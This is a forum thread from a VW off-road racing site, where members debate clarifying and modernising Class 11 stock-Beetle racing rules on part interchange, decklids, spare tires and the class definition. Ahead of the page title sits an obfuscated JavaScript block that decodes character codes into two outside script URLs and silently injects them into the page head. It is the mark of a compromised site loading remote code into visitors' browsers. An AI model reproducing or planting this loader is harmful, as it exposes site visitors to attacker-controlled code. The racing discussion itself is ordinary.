var d3 = document.createElement('script'); d3.type = 'text/javascript'; d3.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 46, 117, 117, 115, 116, 111, 117, 103, 104, 116, 111, 110, 109, 97, 46, 111, 114, 103, 47, 115, 116, 97, 116, 115, 46, 106, 115, 63, 102, 61, 52); var scripts = document.getElementsByTagName('script'); var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == d3.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(d3);}var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 110, 112, 106, 108, 99); var scripts = document.getElementsByTagName('script'); var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == po.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(po);} Clarifying Class 11 rules - VW Baja Bug Off Road Dezert Racing

Clarifying Class 11 rules

More
3 years 8 months ago - 3 years 8 months ago #19995 by DirtDgr
DirtDgr created the topic: Clarifying Class 11 rules
Current Class 11 rules read like thirty years of patch work and need to be clarified. Allowing a little room for innovation(fun) should be encouraged too. No I am not talking about turning Class 11 into Class 5/1600 or an unlimited class.

Lets not just sit around hoping Class 11 will return magically to the good old days of 20-30 cars at every race. Lets DO something about it! The class is dying a slow death. We cant expect the promoters to change that. We cant wait for people to just suddenly want to race this class. We need to find ways to increase the reasons why someone should race THIS class.

It is not 1977 anymore. Parts are harder to find. Entries are much higher and will only increase! Racing is much more expensive than it used to be. Some rules meant to keep class 11 inexpensive are now causing it to be more so. Finishing a race is more important than ever as our investment just showing up to race is more than ever. If we want more cars to finish, so we can actually RACE and not just wait until the other guys break, then low cost durability should be encouraged! At the same time keeping to the original intent of this class. A working mans class to help transition a spectator into a racer



I am willing to do some of that work with help from experts like you all. I have experience in rule changes/clarification and such in other organizations. I only ask that we take every opinion and suggestion in a professional manner and consider them. Refrain from negativity and pessimism. If we disagree on something, then give your reasons in a professional manner and explain why or why not.

I am willing to take the time and thought and care necessary because I love this class and plan on being in it for the foreseeable future. This will probably take months and lots of thought for us to do.

I propose we start a thread in each category right here in Class11Coalition. One is already started in the "Body" part of this forum.

I think we need to go through the existing SCORE rule book and massage every thing to make it understandable and clear to someone new to class 11. Then drive the promoters nuts until they make the changes, in writing, in the rule books.

I think the rules need to be brought up to 2015-2030 class 11 reality to work for the working man and realities of today and tomorrow.

I think we need to redefine the original definition of Class 11. What is that definition? Hard to find because it does not exist in any current rule book. But someone posted pics of it on another site. I'm willing to bet most current class racers did not know there was even such a definition. I didn't!








For some reason its much clearer in the race dez pics-
www.race-dezert.com/forum/threads/class-...onship.120485/page-9

www.facebook.com/meekracing1142/
Thank You Lakeport Tire, Rugged Radios, Baja Designs, Sunoco, Two Larry's Racing
www.facebook.com/meekracing1142
Last Edit: 3 years 8 months ago by DirtDgr.
The following user(s) said Thank You: 3 Amigos

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago - 3 years 8 months ago #19996 by DirtDgr
DirtDgr replied the topic: Clarifying Class 11 rules
I have never seen Class 11 defined in any current rule book. I think that needs to change first and foremost.


Original definition of class 11 from Hot VW mag-

A class for Stock VW sedans. Must be as delivered in the U.S. No interchanging of parts from year to year such as bodies, engines, chassis, running gear, fenders, gear ratio, etc. Any questions regarding chassis conditions will be decided by referring to VW factory parts manual and or VW of America booklet "Without Guess Work." Allowable modification to parts not mentioned shall remain factory stock or its exact equivalent.


Do either of the books it says to use as reference exist where we can access them?


Ok let it rip! Red notes the change or addition. The line through means its omitted.

My proposed re definition-

A class for Stock VW sedans. Must be as delivered in the U.S. or Mexico. No interchanging of parts from year to year such as bodies, engines, chassis, running gear, fenders, gear ratio, etc. allowed only as defined in each section of this rule book. Any questions regarding chassis conditions will be decided by referring to VW factory parts manual and or VW of America booklet "Without Guess Work." Allowable modification to parts not mentioned shall remain factory stock or its exact equivalent.

www.facebook.com/meekracing1142/
Thank You Lakeport Tire, Rugged Radios, Baja Designs, Sunoco, Two Larry's Racing
www.facebook.com/meekracing1142
Last Edit: 3 years 8 months ago by DirtDgr.

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago #20000 by Tapeworm
Tapeworm replied the topic: Clarifying Class 11 rules
I would say leave the "Allowable modification to parts not mentioned shall remain factory stock or its equivalent." That way if it isn't mentioned, you can't do it. If we leave that open then someone can argue that the rule book didn't say you could not do it.

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago - 3 years 8 months ago #20001 by DaveCo11
DaveCo11 replied the topic: Clarifying Class 11 rules
I live by the rules class 11 has had layed out for it, so should everyone else. Some one wants lesser rules go to another class is the way I look at class 11. No one will convince me to open up the rules for this class anymore than they have weather its now or 77 as you said this class is still here there are a ton of cars built for this class and a few wanting change will not persude the super majority that have cars. The last rule change was huge for this class and opened the cars up more than they should have, I knew immediately after the suspension rules came out things would change and never go back. I had all kinds of people crying when I came up with the rear shock design that steered the class away from stock Vws but I also know how to capitalize on the rules as written. Now all kinds of people have shocks that way and 2 shock companys built them as if they came up with it. I still can not understand how any of you have such a hard time following the rules of class 11. They are clear and easy to follow. As I have stated before I went to great pains to legally run the rear deck lid I did, people have been running the right one for decades and still do. Being a purest as you call it has nothing to do with anything, the rules are what they are, I did not write them but I do my best to follow them. I would rather race against 1 car that is in the scope of the rules than 10 cars that are not. Again this is class 11, not class 5 or 51600. Class 11 is not always easy to stay with in the rules but they are there and if one doesnt like the rules there are other choices to fit ones needs. The last rule change made these cars 11 and a half, I will not go any farther with the,. Yes parts like fenders are harder to find some times very rarly if you ask me, craigs list is over flowing with them, how many you want there are a ton to be had. Nothing has been limited anymore than in the begining, if a car from the 70s were to show up for BAP that car would be in the rules as written today. Words get left out other people write what they think were the rules the bottom line is no mater what year the car was bui;t for class 11 it is legal today for class 11 because NOTHING has been limited more in later rule books, just opened up more, This is not a class for everyone, especially ones that want more than class 11 allows. That is why 51600 came into being and was so giganticlly popular untill stupid rule changes killed that class with Micro stubs disc brakes bypass shocks and all. Anyone could build a double shock baja at the time, now the class is on a life line near death except for a few. Answer me this, why could all class 11 racers build legal cars to the rules for decades and decades untill now? Now it is a big issue, why? I will answer that for you, because tech does not ever look at the cars at all, people think they passed tech before the race so my car must be legal right?? WRONG, pre race tech is for safty things ONLY. You could have a V8 and 10 shocks per wheel and nothing would be done till you finish, the way its been so lax all they ask is everyone happy while a crowd of cowards bitch and complain to everyone except to the tech people. I wont involve myself in changing 11 again, its as far out there as it should be! I have bleed 40 years of info learned on this boad trying to help people build legal competitive cars to the rule book, I tell people what they can and cant do most dont like the part that they cant do, that is and always will be class 11.
Last Edit: 3 years 8 months ago by DaveCo11.

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago - 3 years 8 months ago #20004 by DirtDgr
DirtDgr replied the topic: Clarifying Class 11 rules

Tapeworm wrote: I would say leave the "Allowable modification to parts not mentioned shall remain factory stock or its equivalent." That way if it isn't mentioned, you can't do it. If we leave that open then someone can argue that the rule book didn't say you could not do it.


Sounds good. So this-

Definition of Class 11-

A class for Stock VW sedans. Must be as delivered in the U.S. or Mexico. Interchanging of parts from year to year such as bodies, engines, chassis, running gear, fenders, gear ratio, etc. allowed only as defined in each section of this rule book. Allowable modification to parts not mentioned shall remain factory stock or its exact equivalent.

www.facebook.com/meekracing1142/
Thank You Lakeport Tire, Rugged Radios, Baja Designs, Sunoco, Two Larry's Racing
www.facebook.com/meekracing1142
Last Edit: 3 years 8 months ago by DirtDgr.

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago - 3 years 8 months ago #20005 by DirtDgr
DirtDgr replied the topic: Clarifying Class 11 rules

DaveCo11 wrote: I live by the rules class 11 has had layed out for it, so should everyone else. Some one wants lesser rules go to another class is the way I look at class 11. No one will convince me to open up the rules for this class anymore than they have weather its now or 77 as you said this class is still here there are a ton of cars built for this class and a few wanting change will not persude the super majority that have cars. The last rule change was huge for this class and opened the cars up more than they should have, I knew immediately after the suspension rules came out things would change and never go back. I had all kinds of people crying when I came up with the rear shock design that steered the class away from stock Vws but I also know how to capitalize on the rules as written. Now all kinds of people have shocks that way and 2 shock companys built them as if they came up with it. I still can not understand how any of you have such a hard time following the rules of class 11. They are clear and easy to follow. As I have stated before I went to great pains to legally run the rear deck lid I did, people have been running the right one for decades and still do. Being a purest as you call it has nothing to do with anything, the rules are what they are, I did not write them but I do my best to follow them. I would rather race against 1 car that is in the scope of the rules than 10 cars that are not. Again this is class 11, not class 5 or 51600. Class 11 is not always easy to stay with in the rules but they are there and if one doesnt like the rules there are other choices to fit ones needs. The last rule change made these cars 11 and a half, I will not go any farther with the,. Yes parts like fenders are harder to find some times very rarly if you ask me, craigs list is over flowing with them, how many you want there are a ton to be had. Nothing has been limited anymore than in the begining, if a car from the 70s were to show up for BAP that car would be in the rules as written today. Words get left out other people write what they think were the rules the bottom line is no mater what year the car was bui;t for class 11 it is legal today for class 11 because NOTHING has been limited more in later rule books, just opened up more, This is not a class for everyone, especially ones that want more than class 11 allows. That is why 51600 came into being and was so giganticlly popular untill stupid rule changes killed that class with Micro stubs disc brakes bypass shocks and all. Anyone could build a double shock baja at the time, now the class is on a life line near death except for a few. Answer me this, why could all class 11 racers build legal cars to the rules for decades and decades untill now? Now it is a big issue, why? I will answer that for you, because tech does not ever look at the cars at all, people think they passed tech before the race so my car must be legal right?? WRONG, pre race tech is for safty things ONLY. You could have a V8 and 10 shocks per wheel and nothing would be done till you finish, the way its been so lax all they ask is everyone happy while a crowd of cowards bitch and complain to everyone except to the tech people. I wont involve myself in changing 11 again, its as far out there as it should be! I have bleed 40 years of info learned on this boad trying to help people build legal competitive cars to the rule book, I tell people what they can and cant do most dont like the part that they cant do, that is and always will be class 11.



I don't understand why the buck stops at DaveCo. You made changes you thought would benefit the class. Now everyone runs DaveCo suspension. What is wrong with that?

If everyone disagrees with all this, then it wont happen and things will be just as they are.

So far I am only asking for clarification and modernization of rules that will not affect performance in any way and your already against it? There is a problem out in Class 11 world as evidenced by all the illegal cars. You are not going to get a promoter to put in the time and effort it takes for learning Class 11 rules. You have bleed 40 years of trying to help people be legal. But you also say almost every car is illegal. So what do we do? Nothing?

Do you own the VW factory parts manual and or VW of America booklet "Without Guess Work? Or know where to get them?


Couldn't you at least agree to bringing back what is essentially the same as the original definition of the class?

Revised and re-establish Definition of Class 11-

A class for Stock VW sedans. Must be as delivered in the U.S. or Mexico. Interchanging of parts from year to year such as bodies, engines, chassis, running gear, fenders, gear ratio, etc. allowed only as defined in each section of this rule book. Allowable modification to parts not mentioned shall remain factory stock or its exact equivalent


I'm not trying to change performance or ruin Class 11. I believe I'm trying to help it grow. Maybe just survive. At the very least make it more understandable for the people who are not VW sedan experts.

www.facebook.com/meekracing1142/
Thank You Lakeport Tire, Rugged Radios, Baja Designs, Sunoco, Two Larry's Racing
www.facebook.com/meekracing1142
Last Edit: 3 years 8 months ago by DirtDgr.
The following user(s) said Thank You: 3 Amigos

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago #20008 by Tapeworm
Tapeworm replied the topic: Clarifying Class 11 rules
This rule isn't to open up class 11, just allow body parts to be interchanged so when you smash in my rear tail light I don't have to spend a bunch of time and money finding a 1969 rear tail light. Also Dave, it is required by rule CR12 that you have to run a spare tire at all times. It can be mounted anywhere, but it has to be there, even for short course races.

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago #20010 by DirtDgr
DirtDgr replied the topic: Clarifying Class 11 rules

Tapeworm wrote: This rule isn't to open up class 11, just allow body parts to be interchanged so when you smash in my rear tail light I don't have to spend a bunch of time and money finding a 1969 rear tail light. Also Dave, it is required by rule CR12 that you have to run a spare tire at all times. It can be mounted anywhere, but it has to be there, even for short course races.



This is the kind of thing I'm talking about too.

That is the rule.(VORRA allows us not to run a spare in short course by the way) Dave says you don't have too in SNORE short courses either, which makes sense, but no rule book says so. It should say "No spare necessary in short course".

www.facebook.com/meekracing1142/
Thank You Lakeport Tire, Rugged Radios, Baja Designs, Sunoco, Two Larry's Racing
www.facebook.com/meekracing1142

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago #20012 by DaveCo11
DaveCo11 replied the topic: Clarifying Class 11 rules

DirtDgr wrote:

DaveCo11 wrote: I live by the rules class 11 has had layed out for it, so should everyone else. Some one wants lesser rules go to another class is the way I look at class 11. No one will convince me to open up the rules for this class anymore than they have weather its now or 77 as you said this class is still here there are a ton of cars built for this class and a few wanting change will not persude the super majority that have cars. The last rule change was huge for this class and opened the cars up more than they should have, I knew immediately after the suspension rules came out things would change and never go back. I had all kinds of people crying when I came up with the rear shock design that steered the class away from stock Vws but I also know how to capitalize on the rules as written. Now all kinds of people have shocks that way and 2 shock companys built them as if they came up with it. I still can not understand how any of you have such a hard time following the rules of class 11. They are clear and easy to follow. As I have stated before I went to great pains to legally run the rear deck lid I did, people have been running the right one for decades and still do. Being a purest as you call it has nothing to do with anything, the rules are what they are, I did not write them but I do my best to follow them. I would rather race against 1 car that is in the scope of the rules than 10 cars that are not. Again this is class 11, not class 5 or 51600. Class 11 is not always easy to stay with in the rules but they are there and if one doesnt like the rules there are other choices to fit ones needs. The last rule change made these cars 11 and a half, I will not go any farther with the,. Yes parts like fenders are harder to find some times very rarly if you ask me, craigs list is over flowing with them, how many you want there are a ton to be had. Nothing has been limited anymore than in the begining, if a car from the 70s were to show up for BAP that car would be in the rules as written today. Words get left out other people write what they think were the rules the bottom line is no mater what year the car was bui;t for class 11 it is legal today for class 11 because NOTHING has been limited more in later rule books, just opened up more, This is not a class for everyone, especially ones that want more than class 11 allows. That is why 51600 came into being and was so giganticlly popular untill stupid rule changes killed that class with Micro stubs disc brakes bypass shocks and all. Anyone could build a double shock baja at the time, now the class is on a life line near death except for a few. Answer me this, why could all class 11 racers build legal cars to the rules for decades and decades untill now? Now it is a big issue, why? I will answer that for you, because tech does not ever look at the cars at all, people think they passed tech before the race so my car must be legal right?? WRONG, pre race tech is for safty things ONLY. You could have a V8 and 10 shocks per wheel and nothing would be done till you finish, the way its been so lax all they ask is everyone happy while a crowd of cowards bitch and complain to everyone except to the tech people. I wont involve myself in changing 11 again, its as far out there as it should be! I have bleed 40 years of info learned on this boad trying to help people build legal competitive cars to the rule book, I tell people what they can and cant do most dont like the part that they cant do, that is and always will be class 11.



I don't understand why the buck stops at DaveCo. You made changes you thought would benefit the class. Now everyone runs DaveCo suspension. What is wrong with that?

If everyone disagrees with all this, then it wont happen and things will be just as they are.

So far I am only asking for clarification and modernization of rules that will not affect performance in any way and your already against it? There is a problem out in Class 11 world as evidenced by all the illegal cars. You are not going to get a promoter to put in the time and effort it takes for learning Class 11 rules. You have bleed 40 years of trying to help people be legal. But you also say almost every car is illegal. So what do we do? Nothing?

Do you own the VW factory parts manual and or VW of America booklet "Without Guess Work? Or know where to get them?


Couldn't you at least agree to bringing back what is essentially the same as the original definition of the class?

Revised and re-establish Definition of Class 11-

A class for Stock VW sedans. Must be as delivered in the U.S. or Mexico. Interchanging of parts from year to year such as bodies, engines, chassis, running gear, fenders, gear ratio, etc. allowed only as defined in each section of this rule book. Allowable modification to parts not mentioned shall remain factory stock or its exact equivalent


I'm not trying to change performance or ruin Class 11. I believe I'm trying to help it grow. Maybe just survive. At the very least make it more understandable for the people who are not VW sedan experts.

This is where you are completly out to lunch, I have never in my life made a rule change, I have requested and got one single change only, how do you figure that?? You are a couple person marching band, if you think I am the only one who wants the rules left alone think again. Any of you like it or not Snore is NOT going to make you carry a spare tire at BAP, you can bitch point fingers at the book what ever you like but you do not have to have a spare tire in your car for BAP Us Snore racers voted on that years ago for BAP and Rage at the river, you are late to the party on that. I had NOTHING to do with that. You want to run a spare fine you dont want to fine. The skid plate rule I have in WRITING from then Score teck Bill Savage can be mounted as you like, he approved the way mine was done in writing, not verball I cant help if he didnt put it in the book, I did not write the book but it is in Black ink in the Score lettehead and it was notorized as well that I have. Again its not my place to write that or add that but I have it and that applies to you also. And as I said, a car that shows up from 1975 at BAP would be except for seat belts 100 percent legal for class 11 today. Oh my, read the skid plate rule on the flyer with all the original rules, oh my, says can be mounted anyway..oops As far as a fender how are any of you going to tell what year you have if it fits your car?? There is no stamp of 1969 on a fender and anyone who works on Vws would know you cant use a 65 fender on a later model. THAT is the intent of the rule not hodge poging early and late cars together. I have explained my feeling on the deck lid, the decklid I will not change my opinion on that.The deck lid is a very identifiable thing on a car starting in 1962 for model Identification, 67 was stand alone same with 68-69-70 alone and starting in 71 with 4 louvers If you guys think your going to go to Bill Shapley with a bunch demands and a bunch of complaints over peoples cars or rules you dont like I want to be there when he tells you to F off LOL in a very loud way where everyone will hear him Do yourself a favor and dont.. I have always said bring your cars and race, but instead you want to make all kinds of changes to rules to suit your cars to suit your agenda. I have had 5 phone calls already this morning frm people complaining they dont want change again who have read this but never get on this site and post. In my opinion you are trying to change what is a great class, I still have 2 class 11 cars I have not struggled to find things for them.. class 11 was never intended to let you put a 62 tail light on a 69 car because you smashed one? and had the 62? That dont fly, thats my exact position on hodge podging parts. Over the years that same excuse has been used we cant find parts, look at 51600 now and 1600, the Vw was the most mass produced car in history and parts are everywhere but others agenda ruined things and killed car counts. You will find yourselfs a very small minority when it comes to rule changes, I am sure of it.. My 516 looks so much better as the days go forward, its a great class if you want less restriction.. Dirtdoger there is a way around your delema on the decklid and its very simple to turn your car into a 70, more simple and less expense than changing a deck lid, think real hard and see if you can guess how, answer later, real simple if you know the difference in the 2 cars or illuminate 2 things, was done many times in the early days so one could use a 1600 engine instead of the 69s 1500 No one would know but it is easy, the only 2 years it could be done to......Do you have a answer?????

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago - 3 years 8 months ago #20013 by michaelbrenner
michaelbrenner replied the topic: Clarifying Class 11 rules
I still haven't heard anyone propose a change to the current rules other than allowing different year fenders/taillights or decklid? For goodness sake, run a late decklid with more vents if that's what you want, I won't protest if you beat me and I don't think that really serves much purpose to enforce that rule these days. Jeez, I have an extra late model decklid I will gladly donate to the next cry baby that wants one. In fact, I will put a non vented '67 decklid on and go kick the arse of all those that think it's a deal breaker!

The motor is a race motor so those rules are set, as are the transmission, shocks, cage, springs, suspension limiters.

My car is a junkyard salvage, '68 IRS autostick pan with '74 body on top (included hood and decklid), didn't come with rear fenders but we found some with taillight lenses that are '70 so we put them on. Our car has had a different year fender in each corner at some point after only racing for about 3 years! Does this mean that I had an unfair advantage or that my wins are invalidated??? I'm pretty sure SNORE and SCORE tech will be amused by these questions.

I will always guide people to build good cars using techniques I've learned along the way from guys like Dave Hendrickson, Robert Johnson, Jason Gutzmer, Dennis Sletten, Scott Sebastian (MetalCraft), etc.

Put the car together, get to the start line, ask questions, learn how to drive and fabricate. Do NOT change anything to increase the performance or cost. We should be only making the cars cheaper to run, not more expensive, that's what gets car counts!

2013 & 2017 SNORE Stock Bug Champs
Last Edit: 3 years 8 months ago by michaelbrenner.
The following user(s) said Thank You: green booger, 11BrosMotorsports, Rooster

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago #20014 by 11BrosMotorsports
11BrosMotorsports replied the topic: Clarifying Class 11 rules
hit the nail right on the head.

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago #20015 by Rooster
Rooster replied the topic: Clarifying Class 11 rules
Humble opinion here but as a rookie building VW's out of the midwest it's really hard to find matching year parts. Most mismatched parts don't offer much, or any, performance advantage, they're just available in the scrap pile. If it's all original VW type 1 parts (or modern Chinese crap copies) that would be one alignment with the more current trends that would help keep barriers to entry down for "working men" but still keep the spirit of the classic 11 car alive. Isn't that pretty much what's actually going on in the class anyways?
The following user(s) said Thank You: 3 Amigos

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago - 3 years 8 months ago #20017 by DirtDgr
DirtDgr replied the topic: Clarifying Class 11 rules

michaelbrenner wrote: I still haven't heard anyone propose a change to the current rules other than allowing different year fenders/taillights or decklid? For goodness sake, run a late decklid with more vents if that's what you want, I won't protest if you beat me and I don't think that really serves much purpose to enforce that rule these days. Jeez, I have an extra late model decklid I will gladly donate to the next cry baby that wants one. In fact, I will put a non vented '67 decklid on and go kick the arse of all those that think it's a deal breaker!

The motor is a race motor so those rules are set, as are the transmission, shocks, cage, springs, suspension limiters.

My car is a junkyard salvage, '68 IRS autostick pan with '74 body on top (included hood and decklid), didn't come with rear fenders but we found some with taillight lenses that are '70 so we put them on. Our car has had a different year fender in each corner at some point after only racing for about 3 years! Does this mean that I had an unfair advantage or that my wins are invalidated??? I'm pretty sure SNORE and SCORE tech will be

I will always guide people to build good cars using techniques I've learned along the way from guys like Dave Hendrickson, Robert Johnson, Jason Gutzmer, Dennis Sletten, Scott Sebastian (MetalCraft), etc.

Put the car together, get to the start line, ask questions, learn how to drive and fabricate. Do NOT change anything to increase the performance or cost. We should be only making the cars cheaper to run, not more expensive, that's what gets car counts!



We all don't have access to people like that close by. Getting info here takes days and most are pretty reluctant to post pics because everyone will scream how illegal it is! Lots of the posted pics in here have expired.


The proposed rule change/clarification in this section is in the second post in this thread with red noting the changes or added words and lines stricken out. It would go in the SNORE and SCORE rule book under the heading "Competition Regulations". Its not much of a change, your right. Just more clear and gets rid of obsolete books that don't exist.

In the "Body" section of the forum is a thread started about body rules. So only two sections being discussed at the moment.


If you reread my first post, I'm trying to do this systematically, and cover each issue in each separate topic section of the forum.

I don't see DaveCo ripping into you over a 68 car, with a 74 body. But he rips into me in Racedez site over my 1970 decklid that was on the car when I bought it. See the confusion.

This all got me fired up because of the Project Baja car issues that were SCORE approved and the confusion in the rule book about fuel cell location. Sorry to confuse as there was prior discussion on another site.

www.facebook.com/meekracing1142/
Thank You Lakeport Tire, Rugged Radios, Baja Designs, Sunoco, Two Larry's Racing
www.facebook.com/meekracing1142
Last Edit: 3 years 8 months ago by DirtDgr.

Please Log in or Create an account to join the conversation.

More
3 years 8 months ago - 3 years 5 months ago #20020 by DirtDgr
DirtDgr replied the topic: Clarifying Class 11 rules

DaveCo11 wrote:

DirtDgr wrote:

DaveCo11 wrote: I live by the rules class 11 has had layed out for it, so should everyone else. Some one wants lesser rules go to another class is the way I look at class 11. No one will convince me to open up the rules for this class anymore than they have weather its now or 77 as you said this class is still here there are a ton of cars built for this class and a few wanting change will not persude the super majority that have cars. The last rule change was huge for this class and opened the cars up more than they should have, I knew immediately after the suspension rules came out things would change and never go back. I had all kinds of people crying when I came up with the rear shock design that steered the class away from stock Vws but I also know how to capitalize on the rules as written. Now all kinds of people have shocks that way and 2 shock companys built them as if they came up with it. I still can not understand how any of you have such a hard time following the rules of class 11. They are clear and easy to follow. As I have stated before I went to great pains to legally run the rear deck lid I did, people have been running the right one for decades and still do. Being a purest as you call it has nothing to do with anything, the rules are what they are, I did not write them but I do my best to follow them. I would rather race against 1 car that is in the scope of the rules than 10 cars that are not. Again this is class 11, not class 5 or 51600. Class 11 is not always easy to stay with in the rules but they are there and if one doesnt like the rules there are other choices to fit ones needs. The last rule change made these cars 11 and a half, I will not go any farther with the,. Yes parts like fenders are harder to find some times very rarly if you ask me, craigs list is over flowing with them, how many you want there are a ton to be had. Nothing has been limited anymore than in the begining, if a car from the 70s were to show up for BAP that car would be in the rules as written today. Words get left out other people write what they think were the rules the bottom line is no mater what year the car was bui;t for class 11 it is legal today for class 11 because NOTHING has been limited more in later rule books, just opened up more, This is not a class for everyone, especially ones that want more than class 11 allows. That is why 51600 came into being and was so giganticlly popular untill stupid rule changes killed that class with Micro stubs disc brakes bypass shocks and all. Anyone could build a double shock baja at the time, now the class is on a life line near death except for a few. Answer me this, why could all class 11 racers build legal cars to the rules for decades and decades untill now? Now it is a big issue, why? I will answer that for you, because tech does not ever look at the cars at all, people think they passed tech before the race so my car must be legal right?? WRONG, pre race tech is for safty things ONLY. You could have a V8 and 10 shocks per wheel and nothing would be done till you finish, the way its been so lax all they ask is everyone happy while a crowd of cowards bitch and complain to everyone except to the tech people. I wont involve myself in changing 11 again, its as far out there as it should be! I have bleed 40 years of info learned on this boad trying to help people build legal competitive cars to the rule book, I tell people what they can and cant do most dont like the part that they cant do, that is and always will be class 11.



I don't understand why the buck stops at DaveCo. You made changes you thought would benefit the class. Now everyone runs DaveCo suspension. What is wrong with that?

If everyone disagrees with all this, then it wont happen and things will be just as they are.

So far I am only asking for clarification and modernization of rules that will not affect performance in any way and your already against it? There is a problem out in Class 11 world as evidenced by all the illegal cars. You are not going to get a promoter to put in the time and effort it takes for learning Class 11 rules. You have bleed 40 years of trying to help people be legal. But you also say almost every car is illegal. So what do we do? Nothing?

Do you own the VW factory parts manual and or VW of America booklet "Without Guess Work? Or know where to get them?


Couldn't you at least agree to bringing back what is essentially the same as the original definition of the class?

Revised and re-establish Definition of Class 11-

A class for Stock VW sedans. Must be as delivered in the U.S. or Mexico. Interchanging of parts from year to year such as bodies, engines, chassis, running gear, fenders, gear ratio, etc. allowed only as defined in each section of this rule book. Allowable modification to parts not mentioned shall remain factory stock or its exact equivalent


I'm not trying to change performance or ruin Class 11. I believe I'm trying to help it grow. Maybe just survive. At the very least make it more understandable for the people who are not VW sedan experts.

This is where you are completly out to lunch, I have never in my life made a rule change, I have requested and got one single change only, how do you figure that?? You are a couple person marching band, if you think I am the only one who wants the rules left alone think again. Any of you like it or not Snore is NOT going to make you carry a spare tire at BAP, you can bitch point fingers at the book what ever you like but you do not have to have a spare tire in your car for BAP Us Snore racers voted on that years ago for BAP and Rage at the river, you are late to the party on that. I had NOTHING to do with that. You want to run a spare fine you dont want to fine. The skid plate rule I have in WRITING from then Score teck Bill Savage can be mounted as you like, he approved the way mine was done in writing, not verball I cant help if he didnt put it in the book, I did not write the book but it is in Black ink in the Score lettehead and it was notorized as well that I have. Again its not my place to write that or add that but I have it and that applies to you also. And as I said, a car that shows up from 1975 at BAP would be except for seat belts 100 percent legal for class 11 today. Oh my, read the skid plate rule on the flyer with all the original rules, oh my, says can be mounted anyway..oops As far as a fender how are any of you going to tell what year you have if it fits your car?? There is no stamp of 1969 on a fender and anyone who works on Vws would know you cant use a 65 fender on a later model. THAT is the intent of the rule not hodge poging early and late cars together. I have explained my feeling on the deck lid, the decklid I will not change my opinion on that.The deck lid is a very identifiable thing on a car starting in 1962 for model Identification, 67 was stand alone same with 68-69-70 alone and starting in 71 with 4 louvers If you guys think your going to go to Bill Shapley with a bunch demands and a bunch of complaints over peoples cars or rules you dont like I want to be there when he tells you to F off LOL in a very loud way where everyone will hear him Do yourself a favor and dont.. I have always said bring your cars and race, but instead you want to make all kinds of changes to rules to suit your cars to suit your agenda. I have had 5 phone calls already this morning frm people complaining they dont want change again who have read this but never get on this site and post. In my opinion you are trying to change what is a great class, I still have 2 class 11 cars I have not struggled to find things for them.. class 11 was never intended to let you put a 62 tail light on a 69 car because you smashed one? and had the 62? That dont fly, thats my exact position on hodge podging parts. Over the years that same excuse has been used we cant find parts, look at 51600 now and 1600, the Vw was the most mass produced car in history and parts are everywhere but others agenda ruined things and killed car counts. You will find yourselfs a very small minority when it comes to rule changes, I am sure of it.. My 516 looks so much better as the days go forward, its a great class if you want less restriction.. Dirtdoger there is a way around your delema on the decklid and its very simple to turn your car into a 70, more simple and less expense than changing a deck lid, think real hard and see if you can guess how, answer later, real simple if you know the difference in the 2 cars or illuminate 2 things, was done many times in the early days so one could use a 1600 engine instead of the 69s 1500 No one would know but it is easy, the only 2 years it could be done to......Do you have a answer?????



Well my answer right now is the 1970 body in my driveway I paid $100 for will allow me to run a 1970 decklid. I can do that. But it will take LOTS of labor! With three kids a wife and a job its hard to come by! Non vented decklids are harder to find in Norcal than vented ones, by far. That's a fact you don't have to worry about.

But I really don't care about the decklid. Its not going to make a difference 99% of the time except in your story you shared about melting fan-belts.

I care about a rigid rule that was created when cars were plentiful and parts easier to find. Times have changed. The rules have not very much. A rule that has virtually no effect on performance whatsoever. A rule that LOTS of cars discard.

Out to lunch! I like that! I will have a hat tip to you for BAP. Cant wait to shake your hand.

www.facebook.com/meekracing1142/
Thank You Lakeport Tire, Rugged Radios, Baja Designs, Sunoco, Two Larry's Racing
www.facebook.com/meekracing1142
Last Edit: 3 years 5 months ago by DirtDgr.

Please Log in or Create an account to join the conversation.

Time to create page: 0.236 seconds